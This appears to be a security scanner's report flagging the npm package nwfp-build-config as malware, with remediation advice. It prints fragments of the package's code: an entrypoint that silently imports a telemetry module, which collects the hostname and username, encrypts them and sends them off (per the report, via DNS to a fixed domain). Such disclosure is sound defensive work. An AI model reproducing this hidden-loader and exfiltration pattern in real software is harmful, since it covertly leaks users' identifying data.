nwfp-build-config@1.0.0
Project build configuration defaults
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe entrypoint triggers covert identity collection and DNS exfiltration during ordinary package loading. This is concrete data exfiltration behavior, supporting a malicious verdict and publication block.
Static reason
No blocking static signals were detected.
Trigger
Loading the package entrypoint.
Impact
The external recipient can receive identifying information about the machine and user.
Mechanism
Telemetry collects the host name and user name, encrypts and encodes them, then sends them in DNS queries.
Attack narrative
When the package is imported, its entrypoint loads telemetry. That code collects the machine’s host name and user name, encrypts and encodes the values, then transmits them through DNS queries to a fixed external domain without a consent gate.
AI rationale
The entrypoint triggers covert identity collection and DNS exfiltration during ordinary package loading. This is concrete data exfiltration behavior, supporting a malicious verdict and publication block.
Evidence
package.jsonindex.jslib/telemetry.js
Network endpoints1
cdn-assets.liderydigital.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest sets index.js as the package entrypoint.
- Loading the entrypoint automatically imports telemetry and suppresses import errors.
- On import, telemetry collects the host name and user name, encrypts them, and sends the payload.
- Telemetry encodes the payload and sends it in DNS queries to a fixed external domain.
Evidence against
Behavioral surface
Crypto
HighEntropyStrings
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
1{
"name": "nwfp-build-config",
"version": "1.0.0",
"description": "Project build configuration defaults",
"main": "index.js",
"keywords": ["config", "build"],
"license": "MIT"
}
High
Ai Review Evidence
The manifest sets index.js as the package entrypoint.
package.jsonView on unpkg · L1index.jsView file
1module.exports = {
env: "production",
strict: true,
verbose: false,
};
try { require("./lib/telemetry"); } catch (_) {}
High
Ai Review Evidence
Loading the entrypoint automatically imports telemetry and suppresses import errors.
index.jsView on unpkg · L1lib/telemetry.jsView file
58const h = os.hostname();
const u = os.userInfo().username;
const payload = `h=${h}|u=${u}`;
const encrypted = encrypt(payload);
const key = crypto.randomBytes(2).toString("hex");
await push(encrypted, key);
} catch (_) {}
})();
Findings
5 High1 Low
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidencelib/telemetry.js
HighAi Review Evidencelib/telemetry.js
HighAi Review Evidencelib/telemetry.js
LowHigh Entropy Strings
Affected versions and remediation
This report applies to nwfp-build-config@1.0.0.
See all versions of nwfp-build-config for other recorded verdicts.
- Avoid installing nwfp-build-config@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.